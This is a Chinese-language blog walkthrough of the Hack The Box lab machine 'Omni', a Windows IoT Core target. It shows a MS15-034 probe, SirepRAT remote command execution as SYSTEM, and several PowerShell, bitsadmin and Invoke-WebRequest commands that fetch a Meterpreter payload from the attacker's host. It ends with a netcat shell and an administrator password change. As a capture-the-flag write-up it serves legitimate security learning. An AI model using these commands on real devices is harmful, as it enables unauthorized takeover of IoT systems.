【Hack The Box】Omni


[toc]

简介

  • Machine IP:10.10.10.204

这是一台Windows IoT靶机。通过nmap的结果确定该主机的操作系统类型,进而找到Windows IoT的新漏洞,利用该漏洞直接获得SYSTEM权限。

信息收集

端口扫描

首先,我们我用nmap对目标主机进行端口扫描:

如上图所示,我们可以发现目标主机上开放135和8080端口分别运行着Microsoft Windows RPC和Microsoft IIS httpd服务,且目标主机的操作系统类型为Windows。

我们访问8080端口,发现需要进行认证:

image-20201204184405469

我们首先尝试弱口令,失败。

我们用whatweb对目标主机的8080端口进行指纹识别:

image-20201204190515873

发现目标主机8080端口上的Microsoft IIS httpd服务应该是Microsoft-HTTPAPI/2.0。并且存在WWW-Authenticate的地方是个Windows Device Portal,即刚才要求我们输入密码的地方是个Windows设备门户页面。

Windows Device Portal

Windows Device Portal 是微软为开发人员推出的用于管理 Windows 10 设备的一项 Web 功能,通过此功能我们可以通过 Web 页面或 USB 连接来远程配置和管理设备。Windows Device Portal 为普通用户、IT Pro 和开发人员提供了高级诊断工具,可以查看 Windows 设备的实时性能并对 Win 10 进行排错和疑难解答。

但这些操作需要首先通过Windows IoT系统管理员账号和密码认证才能正常使用。

Windows IoT

Windows 10 IoT 是 Windows 10 系列的成员,是专为物联网构建的操作系统,为物联网提供企业级功能、安全性和可管理性。 它利用 Windows 的嵌入式体验、生态系统和云连接,让组织可以通过安全的设备创建其物联网。这些设备可以快速进行预配、轻松进行管理,并可无缝连接到总体云策略。

初步攻击

我们首先使用Google搜索Microsoft-HTTPAPI/2.0 exploit发现了一个MS15-034漏洞:

image-20201204185805515

MS15-034

在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。

我们首先测试该漏洞:

终端输入

curl http://靶机IP -H "Host: 靶机IP" -H "Range: bytes=0-18446744073709551615"

如果在回显中看到 “Requested Range Not Satisfiable“,说明存在该漏洞。

如上图所示,目标机不存在该漏洞:

image-20201204190245975

我们只能从Windows Device Portal中下手了。

目标主机可能为Windows IoT设备,在Windows 设备门户官方文档查找Windows 10 IoT仪表板的默认凭据,如图:

image-20201204191649565

但是无法使用该用户名密码登录。

我们继续查看搜索结果发现Windows IoT Core新漏洞,该漏洞可以使攻击者可以在Windows IoT核心版设备上以SYSTEM特权运行命令,最终能够完全控制设备。在文章链接中发现漏洞利用代码,将GitHub项目克隆到本地,执行漏洞利用代码。

漏洞利用

我们先执行如下命令测试Windows IoT Core新漏洞是否存在于目标主机上:

python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c <系统命令>" --v

image-20201205114013966

如上图所示,成功在目标主机上执行命令,该漏洞存在。

接下来,我们制作一个msf马:

image-20201205112303215

这里的lhost是我们通过执行 openvpn WHOAMIAnony.ovpn 在本机与hackthebox靶场之间建立起来的通讯隧道的IP:

image-20201205112439133

然后我们在本地用python开启一个简单的http服务:

image-20201205112658138

然后在目标主机上执行命令,用powershell将我们本地的msf马shell.exe下载到目标机上:

python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c powershell (New-Object Net.WebClient).DownloadFile('http://10.10.14.31:8080/shell.exe','c:\windows\temp\shell.exe')" --v

如下图所示,命令执行成功,但查看本地80端口监听未发现http请求,说明powershell命令执行失败:

image-20201205114121978

然后尝试使用bitsadmin命令上传文件:

python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c bitsadmin /transfer shell http://10.10.14.31:8080/shell.exe C:\\windows\\temp\\shell.exe" --v    

失败,可能目标主机该命令被限制了,同样certutil命令也失败了。我们再尝试一下powershell的Invoke-WebRequest:

python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c powershell Invoke-WebRequest -Uri http://10.10.14.31:8080/shell.exe -Outfile C:\\windows\\temp\\shell.exe" --v    

image-20201205114511516

如上图所示,成功在目标主机上传shell.exe。

但是在执行该程序时报错,提示与当前Windows版本不兼容:

image-20201205115033527

重新生成64位的木马依旧无法获得meterpreter。我们尝试上传64位的nc,成功执行并获得目标主机的shell:

image-20201205115905378

我们尝试修改管理员administrator的密码:

image-20201205121706720

用该用户密码成功登录8080端口上的Windows设备门户:

image-20201205130503390

image-20201205122205473


Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
 Previous
Windows 10 IoT Core远程命令执行漏洞 Windows 10 IoT Core远程命令执行漏洞
[toc] Windows IoT系统简介Windows作为IoT(物联网)市场中仅次于Linux系统的第二大系统,其Windows IoT Core是面向物联网领域的核心操作系统版本,覆盖了智能家居、智能医疗、智慧城市、智能物流等众多领
2020-12-05
Next 
【Hack The Box】OpenKeyS 【Hack The Box】OpenKeyS
[toc] 简介 Machine IP:10.10.10.199 靶机攻击思路如下: 通过目录扫描发现swp文件,分析文件发现auth.php源码和用户名,然后利用CVE-2019-19521绕过登录,接着伪造Cookie获取用户的SS
2020-11-30
  TOC